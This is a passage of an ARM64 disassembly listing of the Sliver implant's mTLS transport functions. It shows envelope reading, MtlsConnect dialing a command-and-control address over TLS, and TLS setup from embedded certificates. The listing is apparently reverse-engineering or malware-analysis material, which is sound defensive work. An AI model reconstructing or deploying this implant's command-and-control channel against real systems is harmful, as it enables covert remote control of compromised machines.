    003de23cldr x6, [sp+208]
    003de240str xzr, [x6+80]
    003de244str w2, [x6+16]
    003de248str x3, [x6+24]
    003de24cstr x4, [x6+32]
    003de250str x5, [x6+40]
    003de254ldr x0, [sp+376]
    003de258ldr x1, [sp+352]
    003de25cbl github.com/bishopfox/sliver/implant/sliver/transports/mtls.WriteEnvelope
    003de260str x0, [sp+96]
    003de264str x1, [sp+104]
    003de268str x0, [sp+56]
    003de26cstr x1, [sp+64]
    003de270ldp x29, x30, [sp-8]
    003de274add sp, sp, 368
    003de278ret x30
    003de27c
    003de27cloc_3de27c:
    003de27cstr x0, [sp+8]
    003de280mov x3, x30
    003de284bl runtime.morestack_noctxt.abi0
    003de288ldr x0, [sp+8]
    003de28cb 0x3de010
    003de010
    003de290
    003de290github.com/bishopfox/sliver/implant/sliver/transports/mtls.ReadEnvelope: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.ReadEnvelope(crypto/tls.Conn * connection)
    003de290ldr x16, [x28+16]
    003de294sub x17, sp, 384
    003de298subs xzr, x17, x16
    003de29cb.ls 0x3de898
    003de2a0sub x20, sp, 512
    003de2a4stp x29, x30, [x20-8]
    003de2a8add sp, x20, 0
    003de2acsub x29, sp, 8
    003de2b0str x0, [sp+520]
    003de2b4str xzr, [sp+112]
    003de2b8stp xzr, xzr, [sp+96]
    003de2bcadrp x0, 0x217000
    003de2c0add x0, x0, 3072
    003de2c4orr x1, xzr, 4
    003de2c8mov x2, x1
    003de2ccbl runtime.makeslice
    003de2d0str x0, [sp+144]
    003de2d4orr x3, xzr, 4
    003de2d8str x3, [sp+152]
    003de2dcstr x3, [sp+160]
    003de2e0str x3, [sp+80]
    003de2e4strb wzr, [sp+51]
    003de2e8b 0x3de2ec
    003de2ec
    003de2ecloc_3de2ec:
    003de2ecldr x5, [sp+520]
    003de2f0subs xzr, x5, 0
    003de2f4cset x6, ne
    003de2f8eor x6, x6, 1
    003de2fcstrb w6, [sp+51]
    003de300b 0x3de304
    003de304
    003de304loc_3de304:
    003de304cbnz x5, 0x3de30c
    003de308b 0x3de880
    003de30c
    003de30cloc_3de30c:
    003de30cstp xzr, xzr, [sp+472]
    003de310ldr x2, [sp+144]
    003de314ldr x3, [sp+152]
    003de318ldr x4, [sp+160]
    003de31cldr x1, [sp+520]
    003de320adrp x0, 0x337000
    003de324add x0, x0, 3584
    003de328bl io.ReadFull
    003de32cstr x0, [sp+80]
    003de330str x1, [sp+472]
    003de334str x2, [sp+480]
    003de338ldr x5, [sp+80]
    003de33cstr x5, [sp+72]
    003de340str x1, [sp+192]
    003de344str x2, [sp+200]
    003de348ldr x5, [sp+72]
    003de34cstr x5, [sp+56]
    003de350str x1, [sp+120]
    003de354str x2, [sp+128]
    003de358subs xzr, x1, 0
    003de35ccset x5, ne
    003de360strb w5, [sp+51]
    003de364cbnz x1, 0x3de36c
    003de368b 0x3de370
    003de36c
    003de36cloc_3de36c:
    003de36cb 0x3de384
    003de370
    003de370loc_3de370:
    003de370ldr x5, [sp+56]
    003de374subs xzr, x5, 4
    003de378cset x5, ne
    003de37cstrb w5, [sp+51]
    003de380b 0x3de384
    003de384
    003de384loc_3de384:
    003de384ldrb w5, [sp+51]
    003de388tbnz w5, 0, 0x3de390
    003de38cb 0x3de464
    003de390
    003de390loc_3de390:
    003de390stp xzr, xzr, [sp+456]
    003de394add x5, sp, 456
    003de398str x5, [sp+416]
    003de39cldr x5, [sp+120]
    003de3a0ldr x6, [sp+128]
    003de3a4str x5, [sp+400]
    003de3a8str x6, [sp+408]
    003de3acstr x5, [sp+392]
    003de3b0ldr x5, [sp+392]
    003de3b4cbnz x5, 0x3de3bc
    003de3b8b 0x3de3cc
    003de3bc
    003de3bcloc_3de3bc:
    003de3bcldr x5, [sp+392]
    003de3c0ldr x5, [x5+8]
    003de3c4str x5, [sp+392]
    003de3c8b 0x3de3d0
    003de3cc
    003de3ccloc_3de3cc:
    003de3ccb 0x3de3d0
    003de3d0
    003de3d0loc_3de3d0:
    003de3d0ldr x5, [sp+416]
    003de3d4ldrsb x27, [x5]
    003de3d8ldr x6, [sp+408]
    003de3dcldr x7, [sp+392]
    003de3e0str x7, [x5]
    003de3e4adrp x27, 0x66d000
    003de3e8ldr w7, [x27+3056]
    003de3eccbz w7, 0x3de3f4
    003de3f0b 0x3de3f8
    003de3f4
    003de3f4loc_3de3f4:
    003de3f4b 0x3de40c
    003de3f8
    003de3f8loc_3de3f8:
    003de3f8bl runtime.gcWriteBarrier2
    003de3fcstr x6, [x25]
    003de400ldr x7, [x5+8]
    003de404str x7, [x25+8]
    003de408b 0x3de40c
    003de40c
    003de40cloc_3de40c:
    003de40cstr x6, [x5+8]
    003de410ldr x2, [sp+416]
    003de414ldrsb x27, [x2]
    003de418b 0x3de41c
    003de41c
    003de41cloc_3de41c:
    003de41cstr x2, [sp+424]
    003de420orr x4, xzr, 1
    003de424str x4, [sp+432]
    003de428str x4, [sp+440]
    003de42cadrp x0, 0x2e2000
    003de430add x0, x0, 3261
    003de434movz x1, 35
    003de438mov x3, x4
    003de43cbl log.Printf
    003de440str xzr, [sp+112]
    003de444ldr x1, [sp+120]
    003de448ldr x2, [sp+128]
    003de44cstr x1, [sp+96]
    003de450str x2, [sp+104]
    003de454ldr x0, [sp+112]
    003de458ldp x29, x30, [sp-8]
    003de45cadd sp, sp, 512
    003de460ret x30
    003de464
    003de464loc_3de464:
    003de464ldr x0, [sp+144]
    003de468ldr x1, [sp+152]
    003de46cldr x2, [sp+160]
    003de470bl encoding/binary.littleEndian.Uint32
    003de474str w0, [sp+52]
    003de478mov w2, w0
    003de47cstr x2, [sp+64]
    003de480subs xzr, x2, 0
    003de484b.le 0x3de48c
    003de488b 0x3de578
    003de48c
    003de48cloc_3de48c:
    003de48cstp xzr, xzr, [sp+456]
    003de490add x5, sp, 456
    003de494str x5, [sp+360]
    003de498ldr x5, [sp+120]
    003de49cldr x6, [sp+128]
    003de4a0str x5, [sp+344]
    003de4a4str x6, [sp+352]
    003de4a8str x5, [sp+336]
    003de4acldr x5, [sp+336]
    003de4b0cbnz x5, 0x3de4b8
    003de4b4b 0x3de4c8
    003de4b8
    003de4b8loc_3de4b8:
    003de4b8ldr x5, [sp+336]
    003de4bcldr x5, [x5+8]
    003de4c0str x5, [sp+336]
    003de4c4b 0x3de4cc
    003de4c8
    003de4c8loc_3de4c8:
    003de4c8b 0x3de4cc
    003de4cc
    003de4ccloc_3de4cc:
    003de4ccldr x5, [sp+360]
    003de4d0ldrsb x27, [x5]
    003de4d4ldr x6, [sp+336]
    003de4d8ldr x7, [sp+352]
    003de4dcstr x6, [x5]
    003de4e0adrp x27, 0x66d000
    003de4e4ldr w6, [x27+3056]
    003de4e8cbz w6, 0x3de4f0
    003de4ecb 0x3de4f4
    003de4f0
    003de4f0loc_3de4f0:
    003de4f0b 0x3de508
    003de4f4
    003de4f4loc_3de4f4:
    003de4f4bl runtime.gcWriteBarrier2
    003de4f8str x7, [x25]
    003de4fcldr x6, [x5+8]
    003de500str x6, [x25+8]
    003de504b 0x3de508
    003de508
    003de508loc_3de508:
    003de508str x7, [x5+8]
    003de50cldr x2, [sp+360]
    003de510ldrsb x27, [x2]
    003de514b 0x3de518
    003de518
    003de518loc_3de518:
    003de518str x2, [sp+368]
    003de51corr x4, xzr, 1
    003de520str x4, [sp+376]
    003de524str x4, [sp+384]
    003de528adrp x0, 0x2da000
    003de52cadd x0, x0, 1605
    003de530movz x1, 23
    003de534mov x3, x4
    003de538bl log.Printf
    003de53cadrp x0, 0x2da000
    003de540add x0, x0, 2502
    003de544movz x1, 23
    003de548bl errors.New
    003de54cstr x0, [sp+472]
    003de550str x1, [sp+480]
    003de554str xzr, [sp+112]
    003de558ldr x1, [sp+472]
    003de55cldr x2, [sp+480]
    003de560str x1, [sp+96]
    003de564str x2, [sp+104]
    003de568ldr x0, [sp+112]
    003de56cldp x29, x30, [sp-8]
    003de570add sp, sp, 512
    003de574ret x30
    003de578
    003de578loc_3de578:
    003de578adrp x0, 0x217000
    003de57cadd x0, x0, 3072
    003de580mov x1, x2
    003de584bl runtime.makeslice
    003de588ldr x3, [sp+64]
    003de58cldr x4, [sp+64]
    003de590str x0, [sp+168]
    003de594str x3, [sp+176]
    003de598str x4, [sp+184]
    003de59cstp xzr, xzr, [sp+472]
    003de5a0ldr x2, [sp+168]
    003de5a4ldr x3, [sp+176]
    003de5a8ldr x4, [sp+184]
    003de5acldr x1, [sp+520]
    003de5b0adrp x0, 0x337000
    003de5b4add x0, x0, 3584
    003de5b8bl io.ReadFull
    003de5bcstr x0, [sp+80]
    003de5c0str x1, [sp+472]
    003de5c4str x2, [sp+480]
    003de5c8ldr x3, [sp+80]
    003de5ccstr x3, [sp+88]
    003de5d0str x1, [sp+488]
    003de5d4str x2, [sp+496]
    003de5d8ldr x3, [sp+88]
    003de5dcstr x3, [sp+56]
    003de5e0str x1, [sp+120]
    003de5e4str x2, [sp+128]
    003de5e8subs xzr, x1, 0
    003de5eccset x3, ne
    003de5f0strb w3, [sp+51]
    003de5f4cbnz x1, 0x3de5fc
    003de5f8b 0x3de600
    003de5fc
    003de5fcloc_3de5fc:
    003de5fcb 0x3de618
    003de600
    003de600loc_3de600:
    003de600ldr x5, [sp+56]
    003de604ldr x6, [sp+64]
    003de608subs xzr, x6, x5
    003de60ccset x5, ne
    003de610strb w5, [sp+51]
    003de614b 0x3de618
    003de618
    003de618loc_3de618:
    003de618ldrb w5, [sp+51]
    003de61ctbnz w5, 0, 0x3de624
    003de620b 0x3de6f8
    003de624
    003de624loc_3de624:
    003de624stp xzr, xzr, [sp+456]
    003de628add x5, sp, 456
    003de62cstr x5, [sp+304]
    003de630ldr x5, [sp+120]
    003de634ldr x6, [sp+128]
    003de638str x5, [sp+288]
    003de63cstr x6, [sp+296]
    003de640str x5, [sp+280]
    003de644ldr x5, [sp+280]
    003de648cbnz x5, 0x3de650
    003de64cb 0x3de660
    003de650
    003de650loc_3de650:
    003de650ldr x5, [sp+280]
    003de654ldr x5, [x5+8]
    003de658str x5, [sp+280]
    003de65cb 0x3de664
    003de660
    003de660loc_3de660:
    003de660b 0x3de664
    003de664
    003de664loc_3de664:
    003de664ldr x5, [sp+304]
    003de668ldrsb x27, [x5]
    003de66cldr x6, [sp+280]
    003de670ldr x7, [sp+296]
    003de674str x6, [x5]
    003de678adrp x27, 0x66d000
    003de67cldr w6, [x27+3056]
    003de680cbz w6, 0x3de688
    003de684b 0x3de68c
    003de688
    003de688loc_3de688:
    003de688b 0x3de6a0
    003de68c
    003de68cloc_3de68c:
    003de68cbl runtime.gcWriteBarrier2
    003de690str x7, [x25]
    003de694ldr x6, [x5+8]
    003de698str x6, [x25+8]
    003de69cb 0x3de6a0
    003de6a0
    003de6a0loc_3de6a0:
    003de6a0str x7, [x5+8]
    003de6a4ldr x2, [sp+304]
    003de6a8ldrsb x27, [x2]
    003de6acb 0x3de6b0
    003de6b0
    003de6b0loc_3de6b0:
    003de6b0str x2, [sp+312]
    003de6b4orr x4, xzr, 1
    003de6b8str x4, [sp+320]
    003de6bcstr x4, [sp+328]
    003de6c0adrp x0, 0x2d6000
    003de6c4add x0, x0, 1527
    003de6c8orr x1, xzr, 15
    003de6ccmov x3, x4
    003de6d0bl log.Printf
    003de6d4str xzr, [sp+112]
    003de6d8ldr x1, [sp+120]
    003de6dcldr x2, [sp+128]
    003de6e0str x1, [sp+96]
    003de6e4str x2, [sp+104]
    003de6e8ldr x0, [sp+112]
    003de6ecldp x29, x30, [sp-8]
    003de6f0add sp, sp, 512
    003de6f4ret x30
    003de6f8
    003de6f8loc_3de6f8:
    003de6f8adrp x0, 0x2a6000
    003de6fcadd x0, x0, 2848
    003de700bl runtime.newobject
    003de704str x0, [sp+272]
    003de708adrp x27, 0x66d000
    003de70cldr w1, [x27+3056]
    003de710cbz w1, 0x3de718
    003de714b 0x3de71c
    003de718
    003de718loc_3de718:
    003de718b 0x3de738
    003de71c
    003de71cloc_3de71c:
    003de71cstr x0, [sp+208]
    003de720mov x1, x0
    003de724adrp x0, 0x2a6000
    003de728add x0, x0, 2848
    003de72cbl runtime.wbZero
    003de730ldr x0, [sp+208]
    003de734b 0x3de738
    003de738
    003de738loc_3de738:
    003de738mov x20, x0
    003de73cadr x27, 16
    003de740stp x29, x27, [sp-24]
    003de744sub x29, sp, 24
    003de748bl fn_87cfc
    003de74csub x29, sp, 8
    003de750str xzr, [x0+80]
    003de754ldr x4, [sp+272]
    003de758str x4, [sp+136]
    003de75cstr x4, [sp+448]
    003de760ldr x1, [sp+176]
    003de764ldr x2, [sp+184]
    003de768ldr x0, [sp+168]
    003de76cadrp x3, 0x336000
    003de770add x3, x3, 1184
    003de774bl google.golang.org/protobuf/proto.Unmarshal
    003de778str x0, [sp+120]
    003de77cstr x1, [sp+128]
    003de780cbnz x0, 0x3de788
    003de784b 0x3de85c
    003de788
    003de788loc_3de788:
    003de788stp xzr, xzr, [sp+456]
    003de78cadd x5, sp, 456
    003de790str x5, [sp+240]
    003de794ldr x5, [sp+120]
    003de798ldr x6, [sp+128]
    003de79cstr x5, [sp+224]
    003de7a0str x6, [sp+232]
    003de7a4str x5, [sp+216]
    003de7a8ldr x5, [sp+216]
    003de7accbnz x5, 0x3de7b4
    003de7b0b 0x3de7c4
    003de7b4
    003de7b4loc_3de7b4:
    003de7b4ldr x5, [sp+216]
    003de7b8ldr x5, [x5+8]
    003de7bcstr x5, [sp+216]
    003de7c0b 0x3de7c8
    003de7c4
    003de7c4loc_3de7c4:
    003de7c4b 0x3de7c8
    003de7c8
    003de7c8loc_3de7c8:
    003de7c8ldr x5, [sp+240]
    003de7ccldrsb x27, [x5]
    003de7d0ldr x6, [sp+216]
    003de7d4ldr x7, [sp+232]
    003de7d8str x6, [x5]
    003de7dcadrp x27, 0x66d000
    003de7e0ldr w6, [x27+3056]
    003de7e4cbz w6, 0x3de7ec
    003de7e8b 0x3de7f0
    003de7ec
    003de7ecloc_3de7ec:
    003de7ecb 0x3de804
    003de7f0
    003de7f0loc_3de7f0:
    003de7f0bl runtime.gcWriteBarrier2
    003de7f4str x7, [x25]
    003de7f8ldr x6, [x5+8]
    003de7fcstr x6, [x25+8]
    003de800b 0x3de804
    003de804
    003de804loc_3de804:
    003de804str x7, [x5+8]
    003de808ldr x2, [sp+240]
    003de80cldrsb x27, [x2]
    003de810b 0x3de814
    003de814
    003de814loc_3de814:
    003de814str x2, [sp+248]
    003de818orr x4, xzr, 1
    003de81cstr x4, [sp+256]
    003de820str x4, [sp+264]
    003de824adrp x0, 0x2dd000
    003de828add x0, x0, 3460
    003de82corr x1, xzr, 28
    003de830mov x3, x4
    003de834bl log.Printf
    003de838str xzr, [sp+112]
    003de83cldr x1, [sp+120]
    003de840ldr x2, [sp+128]
    003de844str x1, [sp+96]
    003de848str x2, [sp+104]
    003de84cldr x0, [sp+112]
    003de850ldp x29, x30, [sp-8]
    003de854add sp, sp, 512
    003de858ret x30
    003de85c
    003de85cloc_3de85c:
    003de85cldr x3, [sp+136]
    003de860str x3, [sp+112]
    003de864stp xzr, xzr, [sp+96]
    003de868ldr x0, [sp+112]
    003de86cmov x1, xzr
    003de870mov x2, xzr
    003de874ldp x29, x30, [sp-8]
    003de878add sp, sp, 512
    003de87cret x30
    003de880
    003de880loc_3de880:
    003de880adrp x0, 0x217000
    003de884add x0, x0, 2944
    003de888adrp x1, 0x333000
    003de88cadd x1, x1, 1984
    003de890bl runtime.gopanic
    003de894hint
    003de898
    003de898loc_3de898:
    003de898str x0, [sp+8]
    003de89cmov x3, x30
    003de8a0bl runtime.morestack_noctxt.abi0
    003de8a4ldr x0, [sp+8]
    003de8a8b 0x3de290
    003de8acudf 0
    003de290
    003de8b0
    003de8b0github.com/bishopfox/sliver/implant/sliver/transports/mtls.MtlsConnect: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.MtlsConnect(struct string address, uint16 port)
    003de8b0ldr x16, [x28+16]
    003de8b4sub x17, sp, 208
    003de8b8subs xzr, x17, x16
    003de8bcb.ls 0x3deb30
    003de8c0sub x20, sp, 336
    003de8c4stp x29, x30, [x20-8]
    003de8c8add sp, x20, 0
    003de8ccsub x29, sp, 8
    003de8d0str x0, [sp+344]
    003de8d4str x1, [sp+352]
    003de8d8strh w2, [sp+360]
    003de8dcstr xzr, [sp+72]
    003de8e0stp xzr, xzr, [sp+56]
    003de8e4bl github.com/bishopfox/sliver/implant/sliver/transports/mtls.getTLSConfig
    003de8e8str x0, [sp+80]
    003de8ecstp xzr, xzr, [sp+112]
    003de8f0stp xzr, xzr, [sp+128]
    003de8f4add x0, sp, 112
    003de8f8str x0, [sp+240]
    003de8fcldr x0, [sp+344]
    003de900ldr x1, [sp+352]
    003de904bl runtime.convTstring
    003de908str x0, [sp+232]
    003de90cldr x1, [sp+240]
    003de910ldrsb x27, [x1]
    003de914adrp x2, 0x217000
    003de918add x2, x2, 2944
    003de91cstr x2, [x1]
    003de920adrp x27, 0x66d000
    003de924ldr w2, [x27+3056]
    003de928cbz w2, 0x3de930
    003de92cb 0x3de934
    003de930
    003de930loc_3de930:
    003de930b 0x3de948
    003de934
    003de934loc_3de934:
    003de934bl runtime.gcWriteBarrier2
    003de938str x0, [x25]
    003de93cldr x2, [x1+8]
    003de940str x2, [x25+8]
    003de944b 0x3de948
    003de948
    003de948loc_3de948:
    003de948str x0, [x1+8]
    003de94cldrh w0, [sp+360]
    003de950bl runtime.convT16
    003de954str x0, [sp+224]
    003de958ldr x1, [sp+240]
    003de95cldrsb x27, [x1]
    003de960adrp x2, 0x217000
    003de964add x2, x2, 3200
    003de968str x2, [x1+16]
    003de96cadrp x27, 0x66d000
    003de970ldr w2, [x27+3056]
    003de974cbz w2, 0x3de97c
    003de978b 0x3de980
    003de97c
    003de97cloc_3de97c:
    003de97cb 0x3de994
    003de980
    003de980loc_3de980:
    003de980bl runtime.gcWriteBarrier2
    003de984str x0, [x25]
    003de988ldr x5, [x1+24]
    003de98cstr x5, [x25+8]
    003de990b 0x3de994
    003de994
    003de994loc_3de994:
    003de994str x0, [x1+24]
    003de998ldr x2, [sp+240]
    003de99cldrsb x27, [x2]
    003de9a0b 0x3de9a4
    003de9a4
    003de9a4loc_3de9a4:
    003de9a4str x2, [sp+248]
    003de9a8orr x4, xzr, 2
    003de9acstr x4, [sp+256]
    003de9b0str x4, [sp+264]
    003de9b4adrp x0, 0x2d2000
    003de9b8add x0, x0, 1897
    003de9bcmovz x1, 5
    003de9c0mov x3, x4
    003de9c4bl fmt.Sprintf
    003de9c8str x0, [sp+312]
    003de9ccstr x1, [sp+320]
    003de9d0str xzr, [sp+304]
    003de9d4stp xzr, xzr, [sp+288]
    003de9d8ldr x4, [sp+80]
    003de9dcldr x2, [sp+312]
    003de9e0ldr x3, [sp+320]
    003de9e4adrp x0, 0x2d2000
    003de9e8add x0, x0, 459
    003de9ecorr x1, xzr, 3
    003de9f0bl crypto/tls.Dial
    003de9f4str x0, [sp+304]
    003de9f8str x1, [sp+288]
    003de9fcstr x2, [sp+296]
    003dea00ldr x5, [sp+304]
    003dea04str x5, [sp+160]
    003dea08ldr x5, [sp+288]
    003dea0cldr x6, [sp+296]
    003dea10str x5, [sp+144]
    003dea14str x6, [sp+152]
    003dea18ldr x5, [sp+160]
    003dea1cstr x5, [sp+104]
    003dea20ldr x5, [sp+152]
    003dea24ldr x6, [sp+144]
    003dea28str x6, [sp+88]
    003dea2cstr x5, [sp+96]
    003dea30cbnz x6, 0x3dea38
    003dea34b 0x3deb0c
    003dea38
    003dea38loc_3dea38:
    003dea38stp xzr, xzr, [sp+272]
    003dea3cadd x5, sp, 272
    003dea40str x5, [sp+192]
    003dea44ldr x5, [sp+88]
    003dea48ldr x6, [sp+96]
    003dea4cstr x5, [sp+176]
    003dea50str x6, [sp+184]
    003dea54str x5, [sp+168]
    003dea58ldr x5, [sp+168]
    003dea5ccbnz x5, 0x3dea64
    003dea60b 0x3dea74
    003dea64
    003dea64loc_3dea64:
    003dea64ldr x5, [sp+168]
    003dea68ldr x5, [x5+8]
    003dea6cstr x5, [sp+168]
    003dea70b 0x3dea78
    003dea74
    003dea74loc_3dea74:
    003dea74b 0x3dea78
    003dea78
    003dea78loc_3dea78:
    003dea78ldr x5, [sp+192]
    003dea7cldrsb x27, [x5]
    003dea80ldr x6, [sp+168]
    003dea84ldr x7, [sp+184]
    003dea88str x6, [x5]
    003dea8cadrp x27, 0x66d000
    003dea90ldr w6, [x27+3056]
    003dea94cbz w6, 0x3dea9c
    003dea98b 0x3deaa0
    003dea9c
    003dea9cloc_3dea9c:
    003dea9cb 0x3deab4
    003deaa0
    003deaa0loc_3deaa0:
    003deaa0bl runtime.gcWriteBarrier2
    003deaa4str x7, [x25]
    003deaa8ldr x6, [x5+8]
    003deaacstr x6, [x25+8]
    003deab0b 0x3deab4
    003deab4
    003deab4loc_3deab4:
    003deab4str x7, [x5+8]
    003deab8ldr x2, [sp+192]
    003deabcldrsb x27, [x2]
    003deac0b 0x3deac4
    003deac4
    003deac4loc_3deac4:
    003deac4str x2, [sp+200]
    003deac8orr x4, xzr, 1
    003deaccstr x4, [sp+208]
    003dead0str x4, [sp+216]
    003dead4adrp x0, 0x2d9000
    003dead8add x0, x0, 1551
    003deadcmovz x1, 21
    003deae0mov x3, x4
    003deae4bl log.Printf
    003deae8str xzr, [sp+72]
    003deaecldr x1, [sp+88]
    003deaf0ldr x2, [sp+96]
    003deaf4str x1, [sp+56]
    003deaf8str x2, [sp+64]
    003deafcldr x0, [sp+72]
    003deb00ldp x29, x30, [sp-8]
    003deb04add sp, sp, 336
    003deb08ret x30
    003deb0c
    003deb0cloc_3deb0c:
    003deb0cldr x3, [sp+104]
    003deb10str x3, [sp+72]
    003deb14stp xzr, xzr, [sp+56]
    003deb18ldr x0, [sp+72]
    003deb1cmov x1, xzr
    003deb20mov x2, xzr
    003deb24ldp x29, x30, [sp-8]
    003deb28add sp, sp, 336
    003deb2cret x30
    003deb30
    003deb30loc_3deb30:
    003deb30stp x0, x1, [sp+8]
    003deb34strh w2, [sp+24]
    003deb38mov x3, x30
    003deb3cbl runtime.morestack_noctxt.abi0
    003deb40ldp x0, x1, [sp+8]
    003deb44ldrh w2, [sp+24]
    003deb48b 0x3de8b0
    003deb4cudf 0
    003de8b0
    003deb50
    003deb50github.com/bishopfox/sliver/implant/sliver/transports/mtls.getTLSConfig: ; void github.com/bishopfox/sliver/implant/sliver/transports/mtls.getTLSConfig(void)
    003deb50ldr x16, [x28+16]
    003deb54sub x17, sp, 784
    003deb58subs xzr, x17, x16
    003deb5cb.ls 0x3df00c
    003deb60sub x20, sp, 912
    003deb64stp x29, x30, [x20-8]
    003deb68add sp, x20, 0
    003deb6csub x29, sp, 8
    003deb70str xzr, [sp+168]
    003deb74adrp x27, 0x62f000
    003deb78ldr x1, [x27+2992]
    003deb7cadrp x27, 0x62f000
    003deb80ldr x2, [x27+3000]
    003deb84add x0, sp, 136
    003deb88bl runtime.stringtoslicebyte
    003deb8cstr x0, [sp+472]
    003deb90str x1, [sp+480]
    003deb94str x2, [sp+488]
    003deb98adrp x27, 0x62f000
    003deb9cldr x2, [x27+2984]
    003deba0adrp x27, 0x62f000
    003deba4ldr x1, [x27+2976]
    003deba8add x0, sp, 104
    003debacbl runtime.stringtoslicebyte
    003debb0str x0, [sp+448]
    003debb4str x1, [sp+456]
    003debb8str x2, [sp+464]
    003debbcadd x20, sp, 328
    003debc0adr x27, 16
    003debc4stp x29, x27, [sp-24]
    003debc8sub x29, sp, 24
    003debccbl fn_87cf4
    003debd0sub x29, sp, 8
    003debd4str xzr, [sp+440]
    003debd8add x27, sp, 888
    003debdcstp xzr, xzr, [x27]
    003debe0ldr x0, [sp+472]
    003debe4ldr x1, [sp+480]
    003debe8ldr x2, [sp+488]
    003debecldr x3, [sp+448]
    003debf0ldr x4, [sp+456]
    003debf4ldr x5, [sp+464]
    003debf8bl crypto/tls.X509KeyPair
    003debfcldr x15, [sp+8]
    003dec00ldr x16, [sp+16]
    003dec04str x16, [sp+648]
    003dec08str x0, [sp+656]
    003dec0cstr x1, [sp+664]
    003dec10str x2, [sp+672]
    003dec14str x3, [sp+680]
    003dec18str x4, [sp+688]
    003dec1cstr x5, [sp+696]
    003dec20str x6, [sp+704]
    003dec24str x7, [sp+712]
    003dec28str x8, [sp+720]
    003dec2cstr x9, [sp+728]
    003dec30str x10, [sp+736]
    003dec34str x11, [sp+744]
    003dec38str x12, [sp+752]
    003dec3cstr x13, [sp+760]
    003dec40str x14, [sp+768]
    003dec44add x21, sp, 328
    003dec48add x20, sp, 656
    003dec4cadr x27, 16
    003dec50stp x29, x27, [sp-24]
    003dec54sub x29, sp, 24
    003dec58bl fn_87ee8
    003dec5csub x29, sp, 8
    003dec60ldr x3, [sp+768]
    003dec64str x3, [sp+440]
    003dec68str x15, [sp+888]
    003dec6cldr x3, [sp+648]
    003dec70str x3, [sp+896]
    003dec74add x21, sp, 512
    003dec78add x20, sp, 328
    003dec7cadr x27, 16
    003dec80stp x29, x27, [sp-24]
    003dec84sub x29, sp, 24
    003dec88bl fn_87ee8
    003dec8csub x29, sp, 8
    003dec90ldr x3, [sp+440]
    003dec94str x3, [sp+624]
    003dec98ldr x3, [sp+888]
    003dec9cldr x4, [sp+896]
    003deca0str x3, [sp+496]
    003deca4str x4, [sp+504]
    003deca8add x21, sp, 200
    003decacadd x20, sp, 512
    003decb0adr x27, 16
    003decb4stp x29, x27, [sp-24]
    003decb8sub x29, sp, 24
    003decbcbl fn_87ee8
    003decc0sub x29, sp, 8
    003decc4ldr x3, [sp+624]
    003decc8str x3, [sp+312]
    003decccldr x3, [sp+504]
    003decd0ldr x4, [sp+496]
    003decd4str x4, [sp+184]
    003decd8str x3, [sp+192]
    003decdccbnz x4, 0x3dece4
    003dece0b 0x3deda4
    003dece4
    003dece4loc_3dece4:
    003dece4add x27, sp, 872
    003dece8stp xzr, xzr, [x27]
    003dececadd x5, sp, 872
    003decf0str x5, [sp+840]
    003decf4ldr x5, [sp+184]
    003decf8ldr x6, [sp+192]
    003decfcstr x5, [sp+824]
    003ded00str x6, [sp+832]
    003ded04str x5, [sp+816]
    003ded08ldr x5, [sp+816]
    003ded0ccbnz x5, 0x3ded14
    003ded10b 0x3ded24
    003ded14
    003ded14loc_3ded14:
    003ded14ldr x5, [sp+816]
    003ded18ldr x5, [x5+8]
    003ded1cstr x5, [sp+816]
    003ded20b 0x3ded28
    003ded24
    003ded24loc_3ded24:
    003ded24b 0x3ded28
    003ded28
    003ded28loc_3ded28:
    003ded28ldr x5, [sp+840]
    003ded2cldrsb x27, [x5]
    003ded30ldr x6, [sp+816]
    003ded34ldr x7, [sp+832]
    003ded38str x6, [x5]
    003ded3cadrp x27, 0x66d000
    003ded40ldr w6, [x27+3056]
    003ded44cbz w6, 0x3ded4c
    003ded48b 0x3ded50
    003ded4c
    003ded4cloc_3ded4c:
    003ded4cb 0x3ded64
    003ded50
    003ded50loc_3ded50:
    003ded50bl runtime.gcWriteBarrier2
    003ded54str x7, [x25]
    003ded58ldr x6, [x5+8]
    003ded5cstr x6, [x25+8]
    003ded60b 0x3ded64
    003ded64
    003ded64loc_3ded64:
    003ded64str x7, [x5+8]
    003ded68ldr x2, [sp+840]
    003ded6cldrsb x27, [x2]
    003ded70b 0x3ded74
    003ded74
    003ded74loc_3ded74:
    003ded74str x2, [sp+848]
    003ded78orr x4, xzr, 1
    003ded7cstr x4, [sp+856]
    003ded80str x4, [sp+864]
    003ded84adrp x0, 0x2e2000
    003ded88add x0, x0, 743
    003ded8cmovz x1, 34
    003ded90mov x3, x4
    003ded94bl log.Printf
    003ded98movz x0, 5
    003ded9cbl os.Exit
    003deda0b 0x3deda8
    003deda4
    003deda4loc_3deda4:
    003deda4b 0x3deda8
    003deda8
    003deda8loc_3deda8:
    003deda8bl crypto/x509.NewCertPool
    003dedacstr x0, [sp+320]
    003dedb0adrp x27, 0x62f000
    003dedb4ldr x1, [x27+2960]
    003dedb8adrp x27, 0x62f000
    003dedbcldr x2, [x27+2968]
    003dedc0add x0, sp, 72
    003dedc4bl runtime.stringtoslicebyte
    003dedc8str x0, [sp+448]
    003dedccstr x1, [sp+456]
    003dedd0str x2, [sp+464]
    003dedd4ldr x3, [sp+320]
    003dedd8mov x4, x0
    003deddcmov x0, x3
    003dede0mov x5, x1
    003dede4mov x1, x4
    003dede8mov x6, x2
    003dedecmov x2, x5
    003dedf0mov x3, x6
    003dedf4bl crypto/x509.(*CertPool).AppendCertsFromPEM
    003dedf8adrp x0, 0x2cd000
    003dedfcadd x0, x0, 512
    003dee00bl runtime.newobject
    003dee04str x0, [sp+808]
    003dee08adrp x27, 0x66d000
    003dee0cldr w1, [x27+3056]
    003dee10cbz w1, 0x3dee18
    003dee14b 0x3dee1c
    003dee18
    003dee18loc_3dee18:
    003dee18b 0x3dee38
    003dee1c
    003dee1cloc_3dee1c:
    003dee1cstr x0, [sp+640]
    003dee20mov x1, x0
    003dee24adrp x0, 0x2cd000
    003dee28add x0, x0, 512
    003dee2cbl runtime.wbZero
    003dee30ldr x0, [sp+640]
    003dee34b 0x3dee38
    003dee38
    003dee38loc_3dee38:
    003dee38mov x20, x0
    003dee3cadr x27, 16
    003dee40stp x29, x27, [sp-24]
    003dee44sub x29, sp, 24
    003dee48bl fn_87ca0
    003dee4csub x29, sp, 8
    003dee50str xzr, [x0+448]
    003dee54adrp x0, 0x225000
    003dee58add x0, x0, 3648
    003dee5cbl runtime.newobject
    003dee60str x0, [sp+776]
    003dee64adrp x27, 0x66d000
    003dee68ldr w1, [x27+3056]
    003dee6ccbz w1, 0x3dee74
    003dee70b 0x3dee78
    003dee74
    003dee74loc_3dee74:
